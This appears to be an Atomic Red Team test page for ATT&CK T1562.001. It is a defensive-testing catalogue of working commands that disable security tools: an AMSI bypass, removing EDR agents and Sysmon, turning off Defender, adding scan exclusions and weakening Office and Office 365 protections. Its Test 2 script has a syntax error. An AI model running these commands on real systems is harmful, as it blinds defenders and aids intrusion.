# T1562.001 - Disable or Modify Tools
## [Description from ATT&CK](https://attack.mitre.org/techniques/T1562/001)
<blockquote>Adversaries may disable security tools to avoid possible detection of their tools and activities. This can take the form of killing security software or event logging processes, deleting Registry keys so that tools do not start at run time, or other methods to interfere with security tools scanning or reporting information.</blockquote>

## Atomic Tests

- [Atomic Test #1 - Disable syslog](#atomic-test-1---disable-syslog)

- [Atomic Test #2 - Disable Cb Response](#atomic-test-2---disable-cb-response)

- [Atomic Test #3 - Disable SELinux](#atomic-test-3---disable-selinux)

- [Atomic Test #4 - Stop Crowdstrike Falcon on Linux](#atomic-test-4---stop-crowdstrike-falcon-on-linux)

- [Atomic Test #5 - Disable Carbon Black Response](#atomic-test-5---disable-carbon-black-response)

- [Atomic Test #6 - Disable LittleSnitch](#atomic-test-6---disable-littlesnitch)

- [Atomic Test #7 - Disable OpenDNS Umbrella](#atomic-test-7---disable-opendns-umbrella)

- [Atomic Test #8 - Disable macOS Gatekeeper](#atomic-test-8---disable-macos-gatekeeper)

- [Atomic Test #9 - Stop and unload Crowdstrike Falcon on macOS](#atomic-test-9---stop-and-unload-crowdstrike-falcon-on-macos)

- [Atomic Test #10 - Unload Sysmon Filter Driver](#atomic-test-10---unload-sysmon-filter-driver)

- [Atomic Test #11 - Uninstall Sysmon](#atomic-test-11---uninstall-sysmon)

- [Atomic Test #12 - AMSI Bypass - AMSI InitFailed](#atomic-test-12---amsi-bypass---amsi-initfailed)

- [Atomic Test #13 - AMSI Bypass - Remove AMSI Provider Reg Key](#atomic-test-13---amsi-bypass---remove-amsi-provider-reg-key)

- [Atomic Test #14 - Disable Arbitrary Security Windows Service](#atomic-test-14---disable-arbitrary-security-windows-service)

- [Atomic Test #15 - Tamper with Windows Defender ATP PowerShell](#atomic-test-15---tamper-with-windows-defender-atp-powershell)

- [Atomic Test #16 - Tamper with Windows Defender Command Prompt](#atomic-test-16---tamper-with-windows-defender-command-prompt)

- [Atomic Test #17 - Tamper with Windows Defender Registry](#atomic-test-17---tamper-with-windows-defender-registry)

- [Atomic Test #18 - Disable Microsoft Office Security Features](#atomic-test-18---disable-microsoft-office-security-features)

- [Atomic Test #19 - Remove Windows Defender Definition Files](#atomic-test-19---remove-windows-defender-definition-files)

- [Atomic Test #20 - Stop and Remove Arbitrary Security Windows Service](#atomic-test-20---stop-and-remove-arbitrary-security-windows-service)

- [Atomic Test #21 - Uninstall Crowdstrike Falcon on Windows](#atomic-test-21---uninstall-crowdstrike-falcon-on-windows)

- [Atomic Test #22 - Tamper with Windows Defender Evade Scanning -Folder](#atomic-test-22---tamper-with-windows-defender-evade-scanning--folder)

- [Atomic Test #23 - Tamper with Windows Defender Evade Scanning -Extension](#atomic-test-23---tamper-with-windows-defender-evade-scanning--extension)

- [Atomic Test #24 - Tamper with Windows Defender Evade Scanning -Process](#atomic-test-24---tamper-with-windows-defender-evade-scanning--process)

- [Atomic Test #25 - office-365-Disable-AntiPhishRule](#atomic-test-25---office-365-disable-antiphishrule)

- [Atomic Test #26 - Disable Windows Defender with DISM](#atomic-test-26---disable-windows-defender-with-dism)

- [Atomic Test #27 - Disable Defender with Defender Control](#atomic-test-27---disable-defender-with-defender-control)


<br/>

## Atomic Test #1 - Disable syslog
Disables syslog collection

**Supported Platforms:** Linux


**auto_generated_guid:** 4ce786f8-e601-44b5-bfae-9ebb15a7d1c8





#### Inputs:
| Name | Description | Type | Default Value |
|------|-------------|------|---------------|
| package_checker | Package checking command for linux. | String | (rpm -q rsyslog 2>&1 >/dev/null) || (dpkg -s rsyslog | grep -q installed)|
| package_installer | Package installer command for linux. Default yum | String | (which yum && yum -y epel-release rsyslog)||(which apt-get && apt-get install -y rsyslog)|
| flavor_command | Command to disable syslog collection. Default newer rsyslog commands. i.e older command = service rsyslog stop ; chkconfig off rsyslog | String | systemctl stop rsyslog ; systemctl disable rsyslog|
| cleanup_command | Command to enable syslog collection. Default newer rsyslog commands. i.e older command = service rsyslog start ; chkconfig rsyslog on | String | systemctl start rsyslog ; systemctl enable rsyslog|


#### Attack Commands: Run with `sh`!  Elevation Required (e.g. root or admin) 


```sh
#{flavor_command}
```

#### Cleanup Commands:
```sh
#{cleanup_command}
```



#### Dependencies:  Run with `sh`!
##### Description: Package with rsyslog must be on system
##### Check Prereq Commands:
```sh
if #{package_checker} > /dev/null; then exit 0; else exit 1; fi
```
##### Get Prereq Commands:
```sh
sudo #{package_installer}
```




<br/>
<br/>

## Atomic Test #2 - Disable Cb Response
Disable the Cb Response service

**Supported Platforms:** Linux


**auto_generated_guid:** ae8943f7-0f8d-44de-962d-fbc2e2f03eb8






#### Attack Commands: Run with `sh`! 


```sh
if [ $(rpm -q --queryformat '%{VERSION}' centos-release) -eq "6" ];
then
  service cbdaemon stop
  chkconfig off cbdaemon
else if [ $(rpm -q --queryformat '%{VERSION}' centos-release) -eq "7" ];
  systemctl stop cbdaemon
  systemctl disable cbdaemon
fi
```






<br/>
<br/>

## Atomic Test #3 - Disable SELinux
Disables SELinux enforcement

**Supported Platforms:** Linux


**auto_generated_guid:** fc225f36-9279-4c39-b3f9-5141ab74f8d8






#### Attack Commands: Run with `sh`!  Elevation Required (e.g. root or admin) 


```sh
setenforce 0
```

#### Cleanup Commands:
```sh
setenforce 1
```





<br/>
<br/>

## Atomic Test #4 - Stop Crowdstrike Falcon on Linux
Stop and disable Crowdstrike Falcon on Linux

**Supported Platforms:** Linux


**auto_generated_guid:** 828a1278-81cc-4802-96ab-188bf29ca77d






#### Attack Commands: Run with `sh`!  Elevation Required (e.g. root or admin) 


```sh
sudo systemctl stop falcon-sensor.service
sudo systemctl disable falcon-sensor.service
```

#### Cleanup Commands:
```sh
sudo systemctl enable falcon-sensor.service
sudo systemctl start falcon-sensor.service
```





<br/>
<br/>

## Atomic Test #5 - Disable Carbon Black Response
Disables Carbon Black Response

**Supported Platforms:** macOS


**auto_generated_guid:** 8fba7766-2d11-4b4a-979a-1e3d9cc9a88c






#### Attack Commands: Run with `sh`!  Elevation Required (e.g. root or admin) 


```sh
sudo launchctl unload /Library/LaunchDaemons/com.carbonblack.daemon.plist
sudo launchctl unload /Library/LaunchDaemons/com.carbonblack.defense.daemon.plist
```

#### Cleanup Commands:
```sh
sudo launchctl load -w /Library/LaunchDaemons/com.carbonblack.daemon.plist
sudo launchctl load -w /Library/LaunchDaemons/com.carbonblack.defense.daemon.plist
```





<br/>
<br/>

## Atomic Test #6 - Disable LittleSnitch
Disables LittleSnitch

**Supported Platforms:** macOS


**auto_generated_guid:** 62155dd8-bb3d-4f32-b31c-6532ff3ac6a3






#### Attack Commands: Run with `sh`!  Elevation Required (e.g. root or admin) 


```sh
sudo launchctl unload /Library/LaunchDaemons/at.obdev.littlesnitchd.plist
```

#### Cleanup Commands:
```sh
sudo launchctl load -w /Library/LaunchDaemons/at.obdev.littlesnitchd.plist
```





<br/>
<br/>

## Atomic Test #7 - Disable OpenDNS Umbrella
Disables OpenDNS Umbrella

**Supported Platforms:** macOS


**auto_generated_guid:** 07f43b33-1e15-4e99-be70-bc094157c849






#### Attack Commands: Run with `sh`!  Elevation Required (e.g. root or admin) 


```sh
sudo launchctl unload /Library/LaunchDaemons/com.opendns.osx.RoamingClientConfigUpdater.plist
```

#### Cleanup Commands:
```sh
sudo launchctl load -w /Library/LaunchDaemons/com.opendns.osx.RoamingClientConfigUpdater.plist
```





<br/>
<br/>

## Atomic Test #8 - Disable macOS Gatekeeper
Disables macOS Gatekeeper

**Supported Platforms:** macOS


**auto_generated_guid:** 2a821573-fb3f-4e71-92c3-daac7432f053






#### Attack Commands: Run with `sh`!  Elevation Required (e.g. root or admin) 


```sh
sudo spctl --master-disable
```

#### Cleanup Commands:
```sh
sudo spctl --master-enable
```





<br/>
<br/>

## Atomic Test #9 - Stop and unload Crowdstrike Falcon on macOS
Stop and unload Crowdstrike Falcon daemons falcond and userdaemon on macOS

**Supported Platforms:** macOS


**auto_generated_guid:** b3e7510c-2d4c-4249-a33f-591a2bc83eef





#### Inputs:
| Name | Description | Type | Default Value |
|------|-------------|------|---------------|
| falcond_plist | The path of the Crowdstrike Falcon plist file | Path | /Library/LaunchDaemons/com.crowdstrike.falcond.plist|
| userdaemon_plist | The path of the Crowdstrike Userdaemon plist file | Path | /Library/LaunchDaemons/com.crowdstrike.userdaemon.plist|


#### Attack Commands: Run with `sh`!  Elevation Required (e.g. root or admin) 


```sh
sudo launchctl unload #{falcond_plist}
sudo launchctl unload #{userdaemon_plist}
```

#### Cleanup Commands:
```sh
sudo launchctl load -w #{falcond_plist}
sudo launchctl load -w #{userdaemon_plist}
```





<br/>
<br/>

## Atomic Test #10 - Unload Sysmon Filter Driver
Unloads the Sysinternals Sysmon filter driver without stopping the Sysmon service. To verify successful execution, o verify successful execution,
run the prereq_command's and it should fail with an error of "sysmon filter must be loaded".

**Supported Platforms:** Windows


**auto_generated_guid:** 811b3e76-c41b-430c-ac0d-e2380bfaa164





#### Inputs:
| Name | Description | Type | Default Value |
|------|-------------|------|---------------|
| sysmon_driver | The name of the Sysmon filter driver (this can change from the default) | String | SysmonDrv|


#### Attack Commands: Run with `command_prompt`!  Elevation Required (e.g. root or admin) 


```cmd
fltmc.exe unload #{sysmon_driver}
```

#### Cleanup Commands:
```cmd
sysmon -u -i > nul 2>&1
sysmon -i -accepteula -i > nul 2>&1
%temp%\Sysmon\sysmon.exe -u > nul 2>&1
%temp%\Sysmon\sysmon.exe -accepteula -i > nul 2>&1
```



#### Dependencies:  Run with `powershell`!
##### Description: Sysmon must be downloaded
##### Check Prereq Commands:
```powershell
if ((cmd.exe /c "where.exe Sysmon.exe 2> nul | findstr Sysmon 2> nul") -or (Test-Path $env:Temp\Sysmon\Sysmon.exe)) { exit 0 } else { exit 1 }
```
##### Get Prereq Commands:
```powershell
Invoke-WebRequest "https://download.sysinternals.com/files/Sysmon.zip" -OutFile "$env:TEMP\Sysmon.zip"
Expand-Archive $env:TEMP\Sysmon.zip $env:TEMP\Sysmon -Force
Remove-Item $env:TEMP\Sysmon.zip -Force
```
##### Description: sysmon must be Installed
##### Check Prereq Commands:
```powershell
if(sc.exe query sysmon | findstr sysmon) { exit 0 } else { exit 1 }
```
##### Get Prereq Commands:
```powershell
if(cmd.exe /c "where.exe Sysmon.exe 2> nul | findstr Sysmon 2> nul") { C:\Windows\Sysmon.exe -accepteula -i } else
{ Set-Location $env:TEMP\Sysmon\; .\Sysmon.exe -accepteula -i}
```
##### Description: sysmon filter must be loaded
##### Check Prereq Commands:
```powershell
if(fltmc.exe filters | findstr #{sysmon_driver}) { exit 0 } else { exit 1 }
```
##### Get Prereq Commands:
```powershell
sysmon -u
sysmon -accepteula -i
```




<br/>
<br/>

## Atomic Test #11 - Uninstall Sysmon
Uninstall Sysinternals Sysmon for Defense Evasion

**Supported Platforms:** Windows


**auto_generated_guid:** a316fb2e-5344-470d-91c1-23e15c374edc





#### Inputs:
| Name | Description | Type | Default Value |
|------|-------------|------|---------------|
| sysmon_exe | The location of the Sysmon executable from Sysinternals (ignored if sysmon.exe is found in your PATH) | Path | PathToAtomicsFolder&#92;T1562.001&#92;bin&#92;sysmon.exe|


#### Attack Commands: Run with `command_prompt`!  Elevation Required (e.g. root or admin) 


```cmd
sysmon -u
```

#### Cleanup Commands:
```cmd
sysmon -i -accepteula >nul 2>&1
```



#### Dependencies:  Run with `powershell`!
##### Description: Sysmon executable must be available
##### Check Prereq Commands:
```powershell
if(cmd /c where sysmon) {exit 0} else {exit 1}
```
##### Get Prereq Commands:
```powershell
$parentpath = Split-Path "#{sysmon_exe}"; $zippath = "$parentpath\Sysmon.zip"
New-Item -ItemType Directory $parentpath -Force | Out-Null
Invoke-WebRequest "https://download.sysinternals.com/files/Sysmon.zip" -OutFile "$zippath"
Expand-Archive $zippath $parentpath -Force; Remove-Item $zippath
if(-not ($Env:Path).contains($parentpath)){$Env:Path += ";$parentpath"}
```
##### Description: Sysmon must be installed
##### Check Prereq Commands:
```powershell
if(cmd /c sc query sysmon) { exit 0} else { exit 1}
```
##### Get Prereq Commands:
```powershell
cmd /c sysmon -i -accepteula
```




<br/>
<br/>

## Atomic Test #12 - AMSI Bypass - AMSI InitFailed
Any easy way to bypass AMSI inspection is it patch the dll in memory setting the "amsiInitFailed" function to true.
Upon execution, no output is displayed.

https://www.mdsec.co.uk/2018/06/exploring-powershell-amsi-and-logging-evasion/

**Supported Platforms:** Windows


**auto_generated_guid:** 695eed40-e949-40e5-b306-b4031e4154bd






#### Attack Commands: Run with `powershell`! 


```powershell
[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)
```

#### Cleanup Commands:
```powershell
[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$false)
```





<br/>
<br/>

## Atomic Test #13 - AMSI Bypass - Remove AMSI Provider Reg Key
With administrative rights, an adversary can remove the AMSI Provider registry key in HKLM\Software\Microsoft\AMSI to disable AMSI inspection.
This test removes the Windows Defender provider registry key. Upon execution, no output is displayed.
Open Registry Editor and navigate to "HKLM:\SOFTWARE\Microsoft\AMSI\Providers\" to verify that it is gone.

**Supported Platforms:** Windows


**auto_generated_guid:** 13f09b91-c953-438e-845b-b585e51cac9b






#### Attack Commands: Run with `powershell`!  Elevation Required (e.g. root or admin) 


```powershell
Remove-Item -Path "HKLM:\SOFTWARE\Microsoft\AMSI\Providers\{2781761E-28E0-4109-99FE-B9D127C57AFE}" -Recurse
```

#### Cleanup Commands:
```powershell
New-Item -Path "HKLM:\SOFTWARE\Microsoft\AMSI\Providers" -Name "{2781761E-28E0-4109-99FE-B9D127C57AFE}" -ErrorAction Ignore | Out-Null
```





<br/>
<br/>

## Atomic Test #14 - Disable Arbitrary Security Windows Service
With administrative rights, an adversary can disable Windows Services related to security products. This test requires McAfeeDLPAgentService to be installed.
Change the service_name input argument for your AV solution. Upon exeuction, infomration will be displayed stating the status of the service.
To verify that the service has stopped, run "sc query McAfeeDLPAgentService"

**Supported Platforms:** Windows


**auto_generated_guid:** a1230893-56ac-4c81-b644-2108e982f8f5





#### Inputs:
| Name | Description | Type | Default Value |
|------|-------------|------|---------------|
| service_name | The name of the service to stop | String | McAfeeDLPAgentService|


#### Attack Commands: Run with `command_prompt`!  Elevation Required (e.g. root or admin) 


```cmd
net.exe stop #{service_name}
sc.exe config #{service_name} start= disabled
```

#### Cleanup Commands:
```cmd
sc.exe config #{service_name} start= auto >nul 2>&1
net.exe start #{service_name} >nul 2>&1
```





<br/>
<br/>

## Atomic Test #15 - Tamper with Windows Defender ATP PowerShell
Attempting to disable scheduled scanning and other parts of windows defender atp. Upon execution Virus and Threat Protection will show as disabled
in Windows settings.

**Supported Platforms:** Windows


**auto_generated_guid:** 6b8df440-51ec-4d53-bf83-899591c9b5d7






#### Attack Commands: Run with `powershell`!  Elevation Required (e.g. root or admin) 


```powershell
Set-MpPreference -DisableRealtimeMonitoring 1
Set-MpPreference -DisableBehaviorMonitoring 1
Set-MpPreference -DisableScriptScanning 1
Set-MpPreference -DisableBlockAtFirstSeen 1
```

#### Cleanup Commands:
```powershell
Set-MpPreference -DisableRealtimeMonitoring 0
Set-MpPreference -DisableBehaviorMonitoring 0
Set-MpPreference -DisableScriptScanning 0
Set-MpPreference -DisableBlockAtFirstSeen 0
```





<br/>
<br/>

## Atomic Test #16 - Tamper with Windows Defender Command Prompt
Attempting to disable scheduled scanning and other parts of windows defender atp. These commands must be run as System, so they still fail as administrator.
However, adversaries do attempt to perform this action so monitoring for these command lines can help alert to other bad things going on. Upon execution, "Access Denied"
will be displayed twice and the WinDefend service status will be displayed.

**Supported Platforms:** Windows


**auto_generated_guid:** aa875ed4-8935-47e2-b2c5-6ec00ab220d2






#### Attack Commands: Run with `command_prompt`!  Elevation Required (e.g. root or admin) 


```cmd
sc stop WinDefend
sc config WinDefend start=disabled
sc query WinDefend
```

#### Cleanup Commands:
```cmd
sc start WinDefend >nul 2>&1
sc config WinDefend start=enabled >nul 2>&1
```





<br/>
<br/>

## Atomic Test #17 - Tamper with Windows Defender Registry
Disable Windows Defender from starting after a reboot. Upen execution, if the computer is rebooted the entire Virus and Threat protection window in Settings will be
grayed out and have no info.

**Supported Platforms:** Windows


**auto_generated_guid:** 1b3e0146-a1e5-4c5c-89fb-1bb2ffe8fc45






#### Attack Commands: Run with `powershell`!  Elevation Required (e.g. root or admin) 


```powershell
Set-ItemProperty "HKLM:\SOFTWARE\Policies\Microsoft\Windows Defender" -Name DisableAntiSpyware -Value 1
```

#### Cleanup Commands:
```powershell
Set-ItemProperty "HKLM:\SOFTWARE\Policies\Microsoft\Windows Defender" -Name DisableAntiSpyware -Value 0
```





<br/>
<br/>

## Atomic Test #18 - Disable Microsoft Office Security Features
Gorgon group may disable Office security features so that their code can run. Upon execution, an external document will not
show any warning before editing the document.


https://unit42.paloaltonetworks.com/unit42-gorgon-group-slithering-nation-state-cybercrime/

**Supported Platforms:** Windows


**auto_generated_guid:** 6f5fb61b-4e56-4a3d-a8c3-82e13686c6d7






#### Attack Commands: Run with `powershell`! 


```powershell
New-Item -Path "HKCU:\Software\Microsoft\Office\16.0\Excel"
New-Item -Path "HKCU:\Software\Microsoft\Office\16.0\Excel\Security"
New-Item -Path "HKCU:\Software\Microsoft\Office\16.0\Excel\Security\ProtectedView"
New-ItemProperty -Path "HKCU:\Software\Microsoft\Office\16.0\Excel\Security" -Name "VBAWarnings" -Value "1" -PropertyType "Dword"
New-ItemProperty -Path "HKCU:\Software\Microsoft\Office\16.0\Excel\Security\ProtectedView" -Name "DisableInternetFilesInPV" -Value "1" -PropertyType "Dword"
New-ItemProperty -Path "HKCU:\Software\Microsoft\Office\16.0\Excel\Security\ProtectedView" -Name "DisableUnsafeLocationsInPV" -Value "1" -PropertyType "Dword"
New-ItemProperty -Path "HKCU:\Software\Microsoft\Office\16.0\Excel\Security\ProtectedView" -Name "DisableAttachementsInPV" -Value "1" -PropertyType "Dword"
```

#### Cleanup Commands:
```powershell
Remove-ItemProperty -Path "HKCU:\Software\Microsoft\Office\16.0\Excel\Security" -Name "VBAWarnings" -ErrorAction Ignore | Out-Null
Remove-Item -Path "HKCU:\Software\Microsoft\Office\16.0\Excel\Security\ProtectedView" -ErrorAction Ignore
```





<br/>
<br/>

## Atomic Test #19 - Remove Windows Defender Definition Files
Removing definition files would cause ATP to not fire for AntiMalware. Check MpCmdRun.exe man page for info on all arguments.
On later viersions of windows (1909+) this command fails even with admin due to inusfficient privelages. On older versions of windows the
command will say completed.

https://unit42.paloaltonetworks.com/unit42-gorgon-group-slithering-nation-state-cybercrime/

**Supported Platforms:** Windows


**auto_generated_guid:** 3d47daaa-2f56-43e0-94cc-caf5d8d52a68






#### Attack Commands: Run with `command_prompt`!  Elevation Required (e.g. root or admin) 


```cmd
"C:\Program Files\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All
```






<br/>
<br/>

## Atomic Test #20 - Stop and Remove Arbitrary Security Windows Service
Beginning with Powershell 6.0, the Stop-Service cmdlet sends a stop message to the Windows Service Controller for each of the specified services. The Remove-Service cmdlet removes a Windows service in the registry and in the service database.

**Supported Platforms:** Windows


**auto_generated_guid:** ae753dda-0f15-4af6-a168-b9ba16143143





#### Inputs:
| Name | Description | Type | Default Value |
|------|-------------|------|---------------|
| service_name | The name of the service to remove | String | McAfeeDLPAgentService|


#### Attack Commands: Run with `powershell`!  Elevation Required (e.g. root or admin) 


```powershell
Stop-Service -Name #{service_name}
Remove-Service -Name #{service_name}
```






<br/>
<br/>

## Atomic Test #21 - Uninstall Crowdstrike Falcon on Windows
Uninstall Crowdstrike Falcon. If the WindowsSensor.exe path is not provided as an argument we need to search for it. Since the executable is located in a folder named with a random guid we need to identify it before invoking the uninstaller.

**Supported Platforms:** Windows


**auto_generated_guid:** b32b1ccf-f7c1-49bc-9ddd-7d7466a7b297





#### Inputs:
| Name | Description | Type | Default Value |
|------|-------------|------|---------------|
| falcond_path | The Crowdstrike Windows Sensor path. The Guid always changes. | Path | C:&#92;ProgramData&#92;Package Cache&#92;{7489ba93-b668-447f-8401-7e57a6fe538d}&#92;WindowsSensor.exe|


#### Attack Commands: Run with `powershell`!  Elevation Required (e.g. root or admin) 


```powershell
if (Test-Path "#{falcond_path}") {. "#{falcond_path}" /repair /uninstall /quiet } else { Get-ChildItem -Path "C:\ProgramData\Package Cache" -Include "WindowsSensor.exe" -Recurse | % { $sig=$(Get-AuthenticodeSignature -FilePath $_.FullName); if ($sig.Status -eq "Valid" -and $sig.SignerCertificate.DnsNameList -eq "CrowdStrike, Inc.") { . "$_" /repair /uninstall /quiet; break;}}}
```






<br/>
<br/>

## Atomic Test #22 - Tamper with Windows Defender Evade Scanning -Folder
Malware can exclude a specific path from being scanned and evading detection. 
Upon successul execution, the file provided should be on the list of excluded path. 
To check the exclusion list using poweshell (Get-MpPreference).ExclusionPath

**Supported Platforms:** Windows


**auto_generated_guid:** 0b19f4ee-de90-4059-88cb-63c800c683ed





#### Inputs:
| Name | Description | Type | Default Value |
|------|-------------|------|---------------|
| excluded_folder | This folder will be excluded from scanning | Path | C:&#92;Temp|


#### Attack Commands: Run with `powershell`!  Elevation Required (e.g. root or admin) 


```powershell
$excludedpath= "#{excluded_folder}"
Add-MpPreference -ExclusionPath $excludedpath
```

#### Cleanup Commands:
```powershell
$excludedpath= "#{excluded_folder}"
Remove-MpPreference -ExclusionPath $excludedpath
```





<br/>
<br/>

## Atomic Test #23 - Tamper with Windows Defender Evade Scanning -Extension
Malware can exclude specific extensions from being scanned and evading detection. 
Upon successful execution, the extension(s) should be on the list of excluded extensions.
To check the exclusion list using poweshell  (Get-MpPreference).ExclusionExtension.

**Supported Platforms:** Windows


**auto_generated_guid:** 315f4be6-2240-4552-b3e1-d1047f5eecea





#### Inputs:
| Name | Description | Type | Default Value |
|------|-------------|------|---------------|
| excluded_exts | A list of extension to exclude from scanning | String | .exe|


#### Attack Commands: Run with `powershell`!  Elevation Required (e.g. root or admin) 


```powershell
$excludedExts= "#{excluded_exts}"
Add-MpPreference -ExclusionExtension  $excludedExts
```

#### Cleanup Commands:
```powershell
$excludedExts= "#{excluded_exts}"
Remove-MpPreference -ExclusionExtension  $excludedExts -ErrorAction Ignore
```





<br/>
<br/>

## Atomic Test #24 - Tamper with Windows Defender Evade Scanning -Process
Malware can exclude specific processes from being scanned and evading detection.
Upon successful execution, the process(es) should be on the list of excluded processes. 
To check the exclusion list using poweshell  (Get-MpPreference).ExclusionProcess."

**Supported Platforms:** Windows


**auto_generated_guid:** a123ce6a-3916-45d6-ba9c-7d4081315c27





#### Inputs:
| Name | Description | Type | Default Value |
|------|-------------|------|---------------|
| excluded_process | A list of processes to exclude from scanning | String | outlook.exe|


#### Attack Commands: Run with `powershell`!  Elevation Required (e.g. root or admin) 


```powershell
$excludedProcess = "#{excluded_process}"
Add-MpPreference -ExclusionProcess $excludedProcess
```

#### Cleanup Commands:
```powershell
$excludedProcess = "#{excluded_process}"
Remove-MpPreference -ExclusionProcess  $excludedProcess
```





<br/>
<br/>

## Atomic Test #25 - office-365-Disable-AntiPhishRule
Using the Disable-AntiPhishRule cmdlet to disable antiphish rules in your office-365 organization.

**Supported Platforms:** Office-365


**auto_generated_guid:** b9bbae2c-2ba6-4cf3-b452-8e8f908696f3





#### Inputs:
| Name | Description | Type | Default Value |
|------|-------------|------|---------------|
| username | office-365 username | String | |
| password | office-365 password | String | |


#### Attack Commands: Run with `powershell`! 


```powershell
$secure_pwd = "#{password}" | ConvertTo-SecureString -AsPlainText -Force
$creds = New-Object System.Management.Automation.PSCredential -ArgumentList "#{username}", $secure_pwd
Connect-ExchangeOnline -Credential $creds
$test = Get-AntiPhishRule
Disable-AntiPhishRule -Identity $test.Name -Confirm:$false
Get-AntiPhishRule
```

#### Cleanup Commands:
```powershell
if("#{password}" -ne "") {
$secure_pwd = ("#{password}" + "") | ConvertTo-SecureString -AsPlainText -Force
$creds = New-Object System.Management.Automation.PSCredential -ArgumentList "#{username}", $secure_pwd
Connect-ExchangeOnline -Credential $creds
$test = Get-AntiPhishRule
Enable-AntiPhishRule -Identity $test.Name -Confirm:$false
Get-AntiPhishRule
}
```



#### Dependencies:  Run with `powershell`!
##### Description: ExchangeOnlineManagement PowerShell module must be installed
##### Check Prereq Commands:
```powershell
$RequiredModule = Get-Module -Name ExchangeOnlineManagement -ListAvailable
if (-not $RequiredModule) {exit 1}
if (-not $RequiredModule.ExportedCommands['Connect-ExchangeOnline']) {exit 1} else {exit 0}
```
##### Get Prereq Commands:
```powershell
Install-Module -Name ExchangeOnlineManagement
Import-Module ExchangeOnlineManagement
```




<br/>
<br/>

## Atomic Test #26 - Disable Windows Defender with DISM
The following Atomic will attempt to disable Windows-Defender using the built in DISM.exe, Deployment Image Servicing and Management tool. 
DISM is used to enumerate, install, uninstall, configure, and update features and packages in Windows images.
A successful execution will not standard-out any details. Remove the quiet switch if verbosity is needed.
This method will remove Defender and it's package.

**Supported Platforms:** Windows


**auto_generated_guid:** 871438ac-7d6e-432a-b27d-3e7db69faf58






#### Attack Commands: Run with `command_prompt`!  Elevation Required (e.g. root or admin) 


```cmd
Dism /online /Disable-Feature /FeatureName:Windows-Defender /Remove /NoRestart /quiet
```






<br/>
<br/>

## Atomic Test #27 - Disable Defender with Defender Control
Attempting to use Defender Control software to disable Windows Defender. Upon successful execution, Windows Defender will be turned off.

**Supported Platforms:** Windows


**auto_generated_guid:** 178136d8-2778-4d7a-81f3-d517053a4fd6





#### Inputs:
| Name | Description | Type | Default Value |
|------|-------------|------|---------------|
| DefenderID | Defender ID that is used as a sort of passcode to disable it within Defender Control from the command line. The machine-specific Defender ID can be obtained within Defender Control by going to menu, command line info, and then retrieving the 4 character passcode to continue (listed after defendercontrol /d /id in the command line info window). | String | FFFF|
| DefenderControlExe | Path to Defender Control software version 1.6. | String | $env:temp&#92;DefenderControl&#92;DefenderControl&#92;DefenderControl.exe|


#### Attack Commands: Run with `powershell`!  Elevation Required (e.g. root or admin) 


```powershell
cmd /c #{DefenderControlExe} /D #{DefenderID} | Out-Null
```

#### Cleanup Commands:
```powershell
cmd /c #{DefenderControlExe} /E | Out-Null
```



#### Dependencies:  Run with `powershell`!
##### Description: Defender Control must be installed on the machine.
##### Check Prereq Commands:
```powershell
if (Test-Path #{DefenderControlExe}) {exit 0} else {exit 1}
```
##### Get Prereq Commands:
```powershell
Start-BitsTransfer -Source "https://web.archive.org/web/20201210152711/https://www.sordum.org/files/download/defender-control/DefenderControl.zip" -Destination "$env:temp\defendercontrol.zip" -dynamic
expand-archive -LiteralPath "$env:temp\defendercontrol.zip" -DestinationPath "$env:temp\DefenderControl"
```




<br/>
